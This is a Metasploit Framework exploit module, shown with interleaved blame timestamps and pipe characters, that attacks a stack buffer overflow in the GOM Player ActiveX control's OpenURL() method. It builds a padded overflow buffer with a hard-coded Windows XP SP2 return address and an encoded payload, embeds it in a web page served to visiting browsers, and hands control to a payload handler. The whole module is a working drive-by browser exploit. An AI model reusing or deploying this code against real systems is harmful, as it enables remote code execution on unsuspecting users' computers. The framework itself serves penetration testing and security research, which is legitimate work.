2007-10-30 21:48:56 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2007-10-30 21:48:56 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2007-10-30 21:48:56 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2007-10-30 21:48:56 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'GOM Player ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack overflow in GOM Player 2.1.6.3499.
|
|
|
|
|
By sending an overly long string to the "OpenUrl()" method located
|
|
|
|
|
in the GomWeb3.dll Control, an attacker may be able to execute
|
|
|
|
|
arbitrary code.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'URL', 'http://secunia.com/advisories/27418/' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 800,
|
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
2008-08-01 20:04:42 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2007-10-30 21:48:56 +00:00
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 10/29/07
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Oct 27 2007',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Randomize some things
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
strname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
|
|
# Set the exploit buffer
|
|
|
|
|
sploit = rand_text_english(506) + [target.ret].pack('V')
|
|
|
|
|
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)
|
|
|
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
|
|
|
|
|
<script language='javascript'>
|
|
|
|
|
var #{vname} = document.getElementById('#{vname}');
|
|
|
|
|
var #{strname} = new String('#{sploit}');
|
|
|
|
|
#{vname}.OpenURL(#{strname});
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
|
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|
